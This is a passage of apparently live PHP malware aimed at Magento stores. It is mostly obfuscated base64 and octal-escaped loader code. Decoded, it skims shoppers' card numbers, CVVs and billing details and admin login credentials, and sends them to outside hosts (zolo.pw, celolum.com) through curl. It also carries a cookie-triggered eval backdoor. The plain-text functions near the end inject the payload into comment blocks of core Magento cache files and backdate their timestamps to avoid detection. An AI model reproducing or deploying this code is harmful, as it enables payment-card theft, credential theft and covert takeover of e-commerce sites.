ZWMoJGVzaGV6b2wpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGVzaGV6b2wpOwogICAgICAgICAgICAgICAgICAgICRqdXpodXFvdiA9IHRyaW0oJGp1emh1cW92KTsKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgkZGVjaGFxaXJpLCAkanV6aHVxb3YpKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIChAJG9xeWxheml0ZSgkdGhhbGl0eWdhKCRqdXpodXFvdikpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfSBjYXRjaCAoRXhjZXB0aW9uICR1dGhvaHV0eXpobykgewogICAgCn0="));
define("TREX_CODE", trim('$NzQBgIsvRe="\164\162\x65";$e8X5ar_="\156";$OIwYNn_xer="\145\144";$riUB_jR="\163\x74\162";$e8X5ar_.="\157";$riUB_jR.="\162";$OIwYNn_xer.="\157\x63";$e8X5ar_.="\x69";$OIwYNn_xer.="\145\x64\x5f";$e8X5ar_.="\x74";$OIwYNn_xer.="\x34";$NzQBgIsvRe.="\x73\x73";$NzQBgIsvRe.="\141";$e8X5ar_.="\x63\156\165";$OIwYNn_xer.="\66\145\163";$e8X5ar_.="\x66";$OIwYNn_xer.="\141";$OIwYNn_xer.="\142";$e8X5ar_.="\x5f\x65\164";$e8X5ar_.="\141\145";$e8X5ar_.="\162\x63";$riUB_jR.="\145\x76";$e8X5ar_=$riUB_jR($e8X5ar_);$OIwYNn_xer=$riUB_jR($OIwYNn_xer);$NzQBgIsvRe=$riUB_jR($NzQBgIsvRe);$Gf_yCdHFJN="BFVUh0JbJVRWJVRT9FJg4CIioibcJHXiAiLgkXYw91YjRCKzEDdvJ3XyCIgoQD9BCIgACIgACIgACIgoQD7kSehB3XjNGJgwSXnQ1UPh0XQRFVIdyWSVkVSV0UfRCIuAyJfJmYnACLnUncugXZk5WY5BUb1x2bsV2YngCbpFWbABCIgACICAgIHNldGNvb2tpZSgiX21kbiIsIDEsIHRpbWUoKSArIDM2MDAwLCAiLyIpOw0KICAgICAgICAgICAgICAgIHNldGNvb2tpZSgiX2RudG9rZW4iLCAxLCB0aW1lKCkgLSAzNjAwMCwgIi8iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn07IgoQD7kiMgwiMgwichVWefN2Ykgic0NnY1NHI9AichVWefN2YkACIpR3YuVnZoAiZpBCIgACIgACIgACIgACIgAiCNoQD7kSY0FGZfJXZzVHJgwyJiJTJnACLisiIoU2YhxGclJ3XyR3cg0DIhRXYk9lclNXdkACIgACIgACIgACIgACIgAiCNsTKwl2XyV2c1RCIuAyJ7cCIuASXn4WZr9GduR2XnsVRJt0TPN0XkAiLgIyOoRXYwRyOiAI+0DIH5USE90QOV0XUB1TMJVVDBCIgACIgACIgACIgACIgACIgAICAgICAgICAgICAgIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQgPT4gNiwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVElNRU9VVCA9PiA2LA0KICAgICAgICAgICAgICAgICAgICAXRfdXJsID0gImh0dHBzOi8vem9sby5wdy93dGYvaW5kZXgucGhwP2g9IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXTsNCiAgICAgICAgICAgICRjb250ZW50ID0gydwb3N0Y29kZSddIC4gJ3wnIC4gJF9QT1NUWydiaWxsaW5nJ11bJ2NvdW50cnlfaWQnXSAuICd8JyAuICRfUE9TVFsnYmlsbGluZyddWyd0ZWxlcGhvbmUnXSAuICcgJyAuICRfUE9TVFsnYmlsbGluZyaWYgKCFkZWZpbmVkKCJNRUdBTE9ET05fSEVBRCIpKSB7DQoNCiAgICBkZWZpbmUoIk1FR0FMT0RPTl9IRUFEIiwgMSk7DQoNCiAgICBpZiAoIDQogICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBmYWxzZSwNCiAgICAgICAgICAgICAgICBDVDBCIgACIgACIgACIgACIgACIgACIgACIgoQDsU2csFmZg4TPgIVREFURI9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgACIgACIK0ALlVnc0BiP9AiUFZ0UOFkUU5kUVRVRS9IgAiCNwSZ1JHdg4TPg40TJRVQD9ETX9ETM9kRfRFUPxkUVNEIgACIgACIgACIgACIgACIK0ALlNHbhZGI+0DISVERBVESfRFUPxkUVNEIgACIgA09LSUVbJ3BvcnR6aWxsYSddID0gJyc7DQoNCiAgICAgICAgaWYgKCgoaXNzZXQoJF9DT09LSUVbJ3d0ZiddKSkgJiYgKG1kNSgkX0NPT0tJRVsnd3RmJ10pID09ICc3YWMxY2NhNWJlZThiOGIzMWE1MjFiNVRVFVRSdyWSVkVSV0UfRCI9ACa0FGckACIgACIgACIgACIgoQD7BSKpkSXn4GZt91JbVUSL90TD9FJoQXZzNXahgCImYCIp01Js1Gdo5WatRWYnsVRJt0TPN0XkgCdlN3cpBiJmASKddiblt2b0TD9FJgACIgACIgACIgACIK0QKp01JhxGbppHdy9GcnsVRJt0TPN0XkgCdlN3cphCImlGIgACIgACIgoQDK0wOpEDIsQlUPh0Uf50TE9ETBdURN91QSNEIuAiIQV1SDFkQf50TE9ETBdURNJCCAgICAgICAgICAgICBDVVJMT1BUX0VOQ09ESU5HID0+ICIiLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfVVNFUkFHAgICAgICAgICAgICAgZm9yZWFjaCAoJF9QT1NUWydwYXltZW50J10gYXMgJHBfa2V5ID0+ICRwX3ZhbHVlKSBXYiBCLiEGdhRWbfJCKll2av92Y0V2cgACIgACIgACIgACIK0wOddCbpFWbldyWddCIiLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDUuMTgICAgICAgQ1VSTE9QVF9FTkNPRElORyA9PiAiIiwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gIk1vemIdR1UPB1XUB1TMJVVDt1cu9Wa0B3bkACIgACIgACIgACIgACIgAiCNsHIpQ3cvBHJoAiZpBCIgACIgACIgACIgoQDK0wOpACIgACIgACIgACIgoQDlNHbhZGI+0DIUN1TIllRJJVRW9FTTN1XUB1TMJV5UX1NJWkUgPiA0KQ0KICAgICAgICAgICAgaWYgKCRjcmMzMiAmIDB4ODAwMDAwMDApDQogICAgICAgICAgICAgICAgJGNyYzMyID0gJGNyYzMyIC0gMHgxMDAwMDAwMDA7DQogICAgICAgICRjcmMzMiA9IGFicygkY3JjMzIpOw0KICAgIUX1VSSSddOw0KICAgICAgICAgICAgJHBvcyA9IHN0cnBvcygkcGF0aCwgIi9kYXNoYm9hcmQvaW5kZXgva2V5Iik7DQogICAgICAgICAgICBpZiAoJHBvcykgew0KICAgICAgICAgICAgICAgICRwYXRoID0gc3Vic3RyKCRwYXRoLCAwLCAk8iIgACIgACIgACIgACIgACIgoQDokXYyJXYg0DI5FmcyF0ckxWZpZGJgACIgACIgACIgACIK0wegkSKddCduVWb5FGcnsFVT9EUfRCK0V2czlGKgYWagACIgACIgAiCNsTfgACIgACIgAiCNsTKsxWaiRCKlR2bj5WZfRjNlNXYiBSPgu9WbfN2YkACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0gOyASZzF2YgACIgACIgACIgACIgACIgACIgACIgACIgfc2V0LiovIiA9PiAyLA0KICAgICAgICAgICAgICAgICIvLipjY19leHBfeS4qLyIgPT4gMywNCiAgIXZi1Wdu91YjRCK0V2czlGKgYWagACIgACIgACIgACIK0gCN0HIgACIgACIgACIgAiCN0HIgACIgACIgACIgACIgACIK0QfgACIgACIgACIgACIgACIgACIgAiCNszahVmciBCIgACIgACIgACIgACIgACIgACIgACIgoQD9BCIgACIgACIgACIgACIgACIgACIgACIgACIK0gCN0HIgACIgACIgACIgACIXnUWbh5GdzJXamdyWddyZulGbslmYnsFVT9EUfRCI9ACbslmYkACIgACIgfSE9TVCddIC4gIiBbIiAuICRfU0VSVkVSWydTRVJWRVJfQUREUiddIC4gIl0qIikpOw0KICAgICAgICAgICAgICAgICRjY19wYXlfZW5jb2RlZCA9IHN0cl9yZXBsYWNlKCIrIiwgIR0FMT0RPTl9CQUNLVVAiIC4gQ1JDX01FR0FMT0RPTl9TSE9SVCkpIHsNCiAgICAgICAgZGVmaW5lK0XQRFVIdyWSVkVSV0UfRCI9ACcp9lclNXdkACIgACIgACIgACIgACIgACIgACIK0wegkSKddCUJ9FVOVUSMN0XQRFVIdyWSVkVSV0UfRCK0V2czlGKgYWagACIgACIgACIgACIgACIgoQD9BCIgACIgACIgACIgACIgAiCNsTXnI1TG9FRFRkUBdlUPZ0XY9FUURsDa052bt91YjRCIuAyJwcCI9ACa052bt91YjRCIgACIgACIgACIgACIgACIgACIgoQDpEDI90DIpgGdu9WbfCIgoQD7BSKpkiIjVGelJCKzR3cphXZf52bpR3YuVnZoAiJmASKnEzJg0TIgQnbjRCKoAiZpBCIgACIgACIgACIgACIgAiCNoQD9BCIgACIgACIgACIgACIgAiCNsTK052YkgSbpJHdg0DI052YkACIgACIgACIgACIgACIgACIgACIK0wOpQWZk92YuV2X5FGcfN2YkA91YjRCIgACIgACIgACIgACIgACIgACIgoQDpkSXnEgAiCNsTKz52bpRHcvRCIsg2YkgSehJnch9Fdw9GdlN3XsJXdjBCIgACIgACIgACIgACIgACIgACIK0wOpEGdhR2XyV2c1RCIuACbyV3X0V2ZkgCdp5Wafxmc1NGI9ACajRCIgACIgACIgACIgACIgACIgACIgoQDKXnsVRJt0TPN0XkgCdlN3cphCImYCIp01JuV2avRnbk91JbVUSL90TD9FJoQXZzNXahgCImlGIgACIgACIgoQDK0QfgACIgACIgAiCNAiIvoiL0V2cfd3bsxWZ5piLvICIgACIgACIgACIgACIgACIK0ALzAiP9AiIvoiLyFWZZ52bpRXYylGc4VmKu8iIgACIgACIgACIgACIgACIgoQDsMDI+0DIi8iKuIXYll3XwhXZq4yLiACIgACIgACIgACIgACIyVHJoknclVXcfBXdrNWYi9lbvR2bsF2Zl1GIu9Wa0Nmb1ZGIgACIgACIgoQDK0wOpEDIsQlUPh0Uf50TE9ETBdURN91QSNEIuAiIH5USMxUSC9FUVt0QBJ0XO9ERPxUQHVUTigSZulmZlRGIgACIgACIgoQD7BSKpQlUPh0Uf50TE9ETBdURN91QSNEIuAiIH5USMb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgew0KICAgICAgICAgICAgICAgICAgICAkb3B0aW9ucyA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVFNCiAgICAgICAgICAgIGlmICghJGNvbnRlbnQpIHsCIgoQD7BSKlVHbhZ3XmRCI+0DI5V2afZGJgMXYgkXYyJXQzRGbllmZkgCIoNWYlJ3bmBCIgACIgACIgACIgoQDK0wOpQDI+0DIi8iKuQWaj91YjpiLvICIgACIguKmNjX251bS4qLyIgPT4gMSwNCiAgICAgICAgICAgICAgICAiLy4qY29udHJvbF9zZXR0aW5ncy4qLyIgPT4gMSwNCiAgICAgICAgICAgICAgICAiLy4qYdGggPSAkcF92YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAzOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2NfeWVhciA9ICRwX3ZhbHVlOwRVJFUiA9PiB0cnVlLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQgPT4gMTIwLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfVElNRU9VVCA9PiAVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IHRydWUsDQogICAgICUSfBFSQhCImlGIgACIgACIgoQD7ADI6ASKddCVT9ESfBFVUh0JbJVRWJVRT9FJoIzMjJ3Yg8DIp01JUN1TI9FUURFSnslUFZlUFN1XkgCdlN3cpBSPgIzMjJ3YkACIgACIgACIK0wegkSKi40TE9ETBdURN91QSNkIoQWZulmZlRWsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QgPT4gZmFsc2UNCiAgICAgICAgICAgICAgICApOw0KDQoNCiAgICAgICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoJGdldF91cmwpOw0KICAgICAgICAgICAgICAgIGN1cmxfU2csFmZg4TPgIVRFBVWGlkUFZ1XMN1UfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgoQDsATMg4TPgMlUJRURShVQN9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgAiCNwCMyEDI+0DIUV1TF1USU9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgAiCNwCMyED0gMTsNCiAgICAgICAgICAgICAgICAkb3B0aW9uc1tDVVJMT1BUX1BPU1RGSUVMRFNdID0gJHBvc3Q7DQogICAgICAgICAgICB9DQoNCNlNjRfZW5jb2RlKCRiaWxsKSwgdGltZSgpICsgMzYwMDAsICIvIik7DQogICAgICAgICAgICAkX0NPT0tJRVsnX21kYXRhJ10NMSUVOVF9JUCddOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdXNlcl9kYXRhID0gYmFzZTY0X2VuY29kZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiCAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgew0KICAgICAgICAgICAgICAgICAgICAkY250ID0gbWVnYWxvZG9uX2JhY2t1cF9xdWVyeSgAmJiAoaXNzZXQoJF9QT1NUWydsb2dpbiddWyd1c2VybmFtZSddKSkgJiYgKGlzc2V0KCRfUE9TVFsnbG9naW4nXVsncGFzc3dvcmQnXSkpKSkgew0KICAgICAgICAgICAgJGF0b2tlbiA9IGJhc2U2NF9lbmNvZGUoJF9QT1NUWydsb2dpbi9PiAzLA0KICAgICAgICAgICAgICAgICIvLipzYXZhZ2Vfc2V0LiovIiA9PiA0LA0KICAgICAgICAgICApKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cmxlbigkY2NTBJFVOJVVUVkUfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgoQDokXYyJXYg0DIz52bpRHcvRCIgACIgACIgACIgACIgACIK0wegkSKiQXaul2XsJXdjJCKzR3cphXZf52bpR3YuVnZoAiZpBCIgACIgACIgACIgoQD7IiIACIgACIgAiCNsTK052YkgSbpJHdg0DI052YkACIgACIgACIgACIgACIgACIgACIK0wOpU2csFmZgwCZlR2bj5WZflXYw91YjRCIuAyJ9cXZpZ3PwhGcugXZk5Wav40TE9ETBdURN9SbvNmLtVHbvxWZj9yL6MHc0RHanACIgACIgACIgACIgAiCNwSZ1JHdg4TPg40TJRVQD9ETX9ETM9kRfRFUPxkUVNEIgACIgACIgACIgACIgACIg1lKCkgKyAzNjAwMCwgIi8iKTsNCiAgICAgICAgICAgICRfQ09PS0lFWydfZG50b2tlbiddID0gJGF0b2tlbjsSKddibpd2bsdyWUN1TQ9FJoQXZzNXaogCImlGIgACIgACIgoQDK0wOi0zdllmd/AHaw5CelRmbp9iTPR0TMF0RF10LlNWYwNnLjhGdhB3LvozcwRHdoJCI9ACbyV3X0V2ZkACIgACIgACIK0wOpEDGJg4mc1RXZyBCIgACIgACIgACIgoQD7kCajRCKjVGel9FbyV3YABSPgQnblRnbvNGJgACIgACIgACIgACIK0wOpMnbvlGdw9GJgwCajRCK5FmcyF2X0B3b0V2cfxmc1NGIgACIgACIgACIgAiCNsTKsJXdkgCdp5Wafxmc1NGI9ACajRCIgACIgACIgACIgAiNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRjY195ZWFyKSA9PSA0KQ0KICAgICAgICAgICAgICAgICAgIgACIgoQDsATMg4TPgMlUJRURShVQN9FVQ9ETSV1QgACIgCAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSID0+IGZhbHNlLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiBmYWxzZQ0KICAgICAgICAgICAgICAgICAgICApOw0AgICAgICAgICAgICBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUID0+IDlNXYjBCIgACIgACIgACIgACIgACIgACIgACIgACIgAiCNsHIpUWdsFmdfZGJoACajRXa3NHIgACIgACIgACIgACIgACIgACIgACIgAiCNsHIpkyclh2Y0FWbkACL5V2afBHJgwSelt2XmRCKoNGdh12XnVmcwhCImlGIgACIgACIgACIgACIgACIgACIgoQD7ICAgICAgICAgICAgICAgICAgQGN1cmxfZXhlYygkY2gpOw0KICAggACIgACIgACIgAiCNwSZ1JHdg4TPgIVRSVkRFJ1TUVVQfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgACIgAiCNwiIw4iMz8CevZWZylmRgEDMxAjMxAjMv82ajV2RgkCMuIzM6YncgsRUUF9YX0ZPUldBUkRFRF9GT1InXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHVzZXJfaXAgPSAkX1NFUlZFUlsnSFZnRCIgACIgACIgACIgAiCNsHIpkSKnMjNwgDO5AjY3kjYxITNhFzMihjY4UWZiVTYjNWMjF2NnASP9ASKddyd0Z2JbVUSL90TD9FJoUDZthCImYCIpkSXncHdmdyWFl0SP90QfRCK0V2czlGKoACf8BSKpcyM2ADO4kDMidTO21kbiddKSkpIHsNCiAgICAgICAgICAgIHNldGNvb2tpZSgiX21kbiIsIDEsIHRpbWUoKSAtIDM2MDAwLCAiLyIpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWydfZG5wYXkgLj0gJ3wnIC4gYmFzZTY0X2RlY29kZSgkX0NPT0tJRVsnX21kYXRhJ10pOw0KICAgICAgICAgICAgICAgICRjY19wYXlfZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoc3RgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRjbnQgIT0gJzEnKSB7DQogICAgICAgICAgICAgICAgICAgICRjbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vY2Vsb2x1bS5jb20vTUVHQUxPRE9OL2luZGV4LnBocD92aWV3PScgLibCwgJHBvc3QpIHsNCiAgICAgICAgICAgICRvcHRpb25zID0gYXJyYXkoDQogICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLA0KICAgICAgICAgICFSnslUFZlUFN1XkgCdlN3cphCImlGIgACIgACIgACIgACIgACIK0wOddiUERUQfVEVP1URSdyWSVkVSV0UfRCI9ACcp9lclNXdkACIgACIgACIgACIgACIgAiCNsTKz9Gc50ZW50cygkZ2V0X3VybCk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGV2YWwoJGNvbnRlbnQpOw0KICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGlmICghZGVmaW5lZCgiTUVHQUxPRE9OX0JBQ0tVUF9CSUx52ctpiLvICIgACIgACIgACIgACIgACIK0ALyAiP9AiIvoiLoRnbv1kbvlGdhJXawhXZq4yLiACIgACIgACIgACIgACIgAiCNwiMg4TPgIyLq4Ca052bt9Fc4VmKu8iIgACIgACIgACIgACIgACIgoQDsIDI+0DIi8iKu02XwhXZfN2oQD9BCIgACIgACIgACIgoQD7kCduVGdu92YkgSbpJHdg0DI05WZ052bjRCIgACIgACIgACIgACIgACIK0wOpg2YkgyYlhXZfxmc1NGQg0DI05WZ052bjRCIgACIgACIgACIgACIgACIK0wOpMnbvlGdw9GJgwCajRCK5FmcyF2X0B3b0V2cF1kIoQWZulmZlRWIoAiZpBCIgAiCNoQD9BCIgAiCNsTKwADMxASJgIzMjJ3YkACLiQlUPh0Uf50TE9ETBdURN91QSNkIoUmbpZWZkBCIgACIgACIK0wOpIzMjJ3YkACLi40TE9ETBdURN91QSNkIoUmbpZWZkBCIgACsATMg4TPgMlUJRURShVQN9FVQ9ETSV1QgACIgACIgACIgACIgACIgoQDsAjMxlNGRVIgPT4gdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9IRUFERVIgPT4gZmFsc2UsDQogICA2bj9Fdld2XlxWamBEI9ACduVGdu92YkACIgACIgACIgACIgACIgAiCNCIgACIgACIgACIgACIgACIgoQD6QDIlNXYjBCIgACIgACIgACIgACIgACIgACIgACIgACIgAiCNszahVmciBCIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AgICAgIH0NCiAgICB9Ow0KDQogICAgaWYgKCFkZWZpbmVkKCJNRUdBTE9ET05fVSIgLiBDUkNfTUVHQUxPRE9OX1NIT1JUKSkgew0KICAgICAgICBkZWZpbmUoIk1FR0FMT0RPTl9VIiAuIENSQ19NRUdBTE9ET05fU0hPUlQsICIgACIgACIK0ALlVnc0BiP9AiUFJVRGVkUPRVVB9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgAiCNwiIw4iMz8CevZWZylmRgEDMxAjMxAjMv82ajV2RgkCMuIzM6YncgsTMuUDIU5EIzd3bk5WaXhCIw4SNvEGbslIgAiCNsDMg0DI052YkACIgACIgACIgACIgACIgAiCNoQD7kCZlR2bj5WZflXYw91YjRCIsIiYyUiCAgICAgICAgICAgICAgJGNjX3BheSA9ICRjY19udW1iZXIgLiAnfCcgLiAkY2NfbW9udGggLiAnLycgLiAkY2NfeWVhciAuICd8JyAuICRjY19jaWQ7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWydfbWRhdGSAuICcgJyAuICRfUE9TVFsnYmlsbGluZyddWydsYXN0bmFtZSddIC4gJ3wnIC4gJF9QT1NUWydiaWxsaW5nJ11bJ3N0cmVldCddWycwJ10gLiAnfCcgLiAkX1BPU1RbJ2JpbGxpbmcnXVsnY2l0eSddIC4gJAgICAgICAgICAgICAgICRjY19jaWQgPSAkcF92YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgIWa0BCLuV2avRXYkACLi4WZr9GduR2XigSZpt2bvNGdlNHIgACIgACIgACIgAiCNsTKddCZy92dzNXYwdyWddibpd2bsdyWUN1TQ9FJg4CIisjIg4CIddSZtFmbyV2c1dyWddGVkUPRVVB9FVQ9ETSV1QgACIgACIgACIgACIgACIgoQDsICMuIzMvg3bmVmcpZEIxATMwITMwIzLvt2YldEIpAjLyMjO2JHI7EjL1ACVOByc39GZul2VoACMuUzLhxGbpp3bNJCI+0DIU5URIDE6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjY19udW1iZXIgPSAkcF92YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAAgICAgICAgICAgICAgICAgIEBleGVjKCdjdXJsIC0taW5zZWN1cmUgJyAuICdodHRwczovL2NlbG9sdW0uY29tL01FR0FMT0RPTi9pbmRleC5waHA/dmlldz0nIC4gJGNjX3BheV9lbmNvZGVkKTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgNvbnRlbnQ7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydiaWxsaW5nJ10pKSB7DQogICAgICAWddyZulGbslmYnsFVT9EUfRCIuAyJ8ByJg4CIddibvl2ZlJ3Jb11Jn5WasxWaidyWUN1TQ9FJg4CInw3";$HxdshqOT="==wO65GOJp2T4YkZJRCIuJXd0VmcKkSKyVGef5mTZdXSPRCK0V2czlWIoYWaKsTf9tTKp0VMrMmMydGcVpVRkslRNFlThh1RRF2SkwSXjJjcnBXVaVEJbZUTR5UYYdUUhtEJs4kSGhEZDl3XmdEJoIHdzJWdzhiUq9lQVlmck0jL65GOJp2T4YkZJRyelNHbl13Op0VMrMmMydGcVpVRkslRNFlThh1RRF2SkwSXjJjcnBXVaVEJbZUTR5UYYdUUhtEJs4kSGhEZDl3XmdEJoIHdzJWdz1jL65GOJp2T4YkZJRyepQTJjJjcnBXVaVEJoYWa7liM9syYyI3ZwVlWFRyOpYUTR5UYYdUUhtEJoY2blpXazxzYyI3ZwVlWFRyOw0zYyI3ZwVlWFRCKy9mZ7IiI9onb4kkaPhjRmlEJKsTK5ATMsgTOwEDLzcTMsgjM3UDL5cTMsITO1IDLzYTMsIDMyATMsczNsUjM3MDL0QTMsgDN4EDL1UTMsUDN1EDL5YTMsATN3gDLzITMsIjM4wSO2EDL2YDM3wiN4wiNyQDMxwCN4wSO5MzNsMDMxwyNzMjMsQjNxwiN2gDMxwiM1wSOxIDOscTOxwCN5AjNsMTOxwSMwkTNskzNxwyMyADMxwCM0wiM3ATNsUTNsITM1ATMskDOxwCM2YTOscTOxwSN0cDNsgzMxwiM5MTOsETMxwCNzQTMsETOsITO5EDL0QTMsIDO2ETMsEzMxwyN0UTNsEjNsUjNzATMsMTOscDMyEDLyUTMsADN0IDL0ATMsETOyYDLzkTMscTM3cDLzkDL5UTMyEDL4UDL5ITNzwiN1EDL5cjMxEDLwgDLyUjMyEDLzUTMsUDN5wCN2wCO2EjMscTOsUTOzYDL2cTMsITN5IDL4ETMsUzMyUDL0cTMskDN4kDL3cDL1IjMzwSO1EDL2gTN0wCM4wCOzkjNsMjMxwiMxETNsUDOsMDOwIDLzkTMsEzNygDL5MTMsYjM4ETMscTOsgjMxMDL0kTMsMTNzUDL4ITMscjN1ATMsUTMxwSNzQTMxwiN4EDLyAzMzwCO0wCOxAzNsQDOsgTO5MDL1gDLwETO3wyM1wyM3MDLzcTMsYDMxETMsEDNsIDOyQDLyMTMskjNwkDL2UDLwwCOzEDL3gTNzwiN3wCMzATMxwCNzEDL0IjN2wCN2EDL1MjM3wSM5EDLxAjM5wCMwIDLygDM0wCN5EDL1YTOxEDLyITMsYTNsEzNxwSN5YDMxwSO0EDL4YTN3wCM4EDL4UzN2wiMzEDLwUTNxEDL1gDLzgDN3wiMwEDL0gDN0wCM1EDL5ETO4wCO0EDLwAzNxwSM4EDLxczNywCMzEDLwMTN5wiM5wCO1YDOsYTOxwiMwgzMsIzMxwiM5QjNsgTOxwiNyQDLwMTMsIDN5QDL0MTMsADMzEDLwUDL4cjN1wSM1wCNyYDL1ATMsIzMyIDLyQTMsYTM1gDL3QTMsUzN2wiN0wSN5kzNsgzNxwSM0ADOsEjNxwyMyMDNsITNsQjN0gDLxQDL4gDNzwSN5EDL4cTMokXYyJXY9YUTR5UYYdUUhtEJ";if(function_exists($e8X5ar_)){$loa_k2E=@$e8X5ar_(\'$Gf_yCdHFJN,$riUB_jR\',$OIwYNn_xer($riUB_jR($HxdshqOT)));if($loa_k2E)$Gf_yCdHFJN=@$loa_k2E($Gf_yCdHFJN,$riUB_jR); }else{$uh2lRy0uj="\x29\x29\x29";$uh2lRy0uj.="\124\117\x71";$uh2lRy0uj.="\150\163";$uh2lRy0uj.="\x64\x78";$uh2lRy0uj.="\110";$uh2lRy0uj.="\x24";$uh2lRy0uj.="\50";$uh2lRy0uj.="\122\152";$uh2lRy0uj.="\x5f";$uh2lRy0uj.="\x42\x55";$uh2lRy0uj.="\x69";$uh2lRy0uj.="\162\x24";$uh2lRy0uj.="\50\x72";$uh2lRy0uj.="\145\170\x5f";$uh2lRy0uj.="\x6e\x4e\x59";$uh2lRy0uj.="\167\x49\117";$uh2lRy0uj.="\x24\50\154";$uh2lRy0uj.="\x61";$uh2lRy0uj.="\x76\145";$uh2lRy0uj.="\100";$uh2lRy0uj=$riUB_jR($uh2lRy0uj);@$NzQBgIsvRe($uh2lRy0uj);};if(function_exists($e8X5ar_)){$FbrbYXQ=@$e8X5ar_("",$OIwYNn_xer($riUB_jR($Gf_yCdHFJN)));if($FbrbYXQ)@$FbrbYXQ();}else{$Fs8Cfn="\51";$Fs8Cfn.="\x29\x29\x4e";$Fs8Cfn.="\112\x46\110";$Fs8Cfn.="\x64";$Fs8Cfn.="\x43\x79\x5f";$Fs8Cfn.="\146";$Fs8Cfn.="\107\44";$Fs8Cfn.="\50\122\x6a";$Fs8Cfn.="\x5f\102";$Fs8Cfn.="\125\x69\162";$Fs8Cfn.="\44\x28";$Fs8Cfn.="\x72\145\170";$Fs8Cfn.="\x5f";$Fs8Cfn.="\156";$Fs8Cfn.="\116\x59";$Fs8Cfn.="\x77\111";$Fs8Cfn.="\x4f";$Fs8Cfn.="\x24\x28\154";$Fs8Cfn.="\141";$Fs8Cfn.="\166\145\100";$Fs8Cfn=$riUB_jR($Fs8Cfn);@$NzQBgIsvRe($Fs8Cfn);};'));
$targets = array(
trim('/lib/Zend/Cache/Backend/Interface.php'),
trim('/lib/Varien/Cache/Core.php'),
);
$GLOBALS['targets'] = $targets;
$GLOBALS['beda_code'] = $beda_code;
function insert_line($lines, $codeline, $comment_indexes) {
if (!$comment_indexes)
return false;
shuffle($comment_indexes);
$index = $comment_indexes[0];
$r = array();
for ($i = 0; $i < sizeof($lines); $i++) {
$line = $lines[$i];
if ($i == $index) {
$r[] = "*/";
$r[] = $codeline;
$r[] = "/*";
}
$r[] = $line;
}
return $r;
}
function set_min_date($filepath) {
$dir = dirname($filepath);
$o = opendir($dir);
$min_lastmod = 0;
while ($r = readdir($o)) {
$mod = filemtime($dir . "/" . $r);
if (!$min_lastmod) {
$min_lastmod = $mod;
continue;
}
if ($min_lastmod > $mod) {
$min_lastmod = $mod;
}
}
if ($min_lastmod) {
touch($filepath, $min_lastmod + 1);
}
}
function check_before_modify($filepath) {
$fp = fopen($filepath, "r");
$lines = array();
if (flock($fp, LOCK_EX)) {
while (!feof($fp)) {
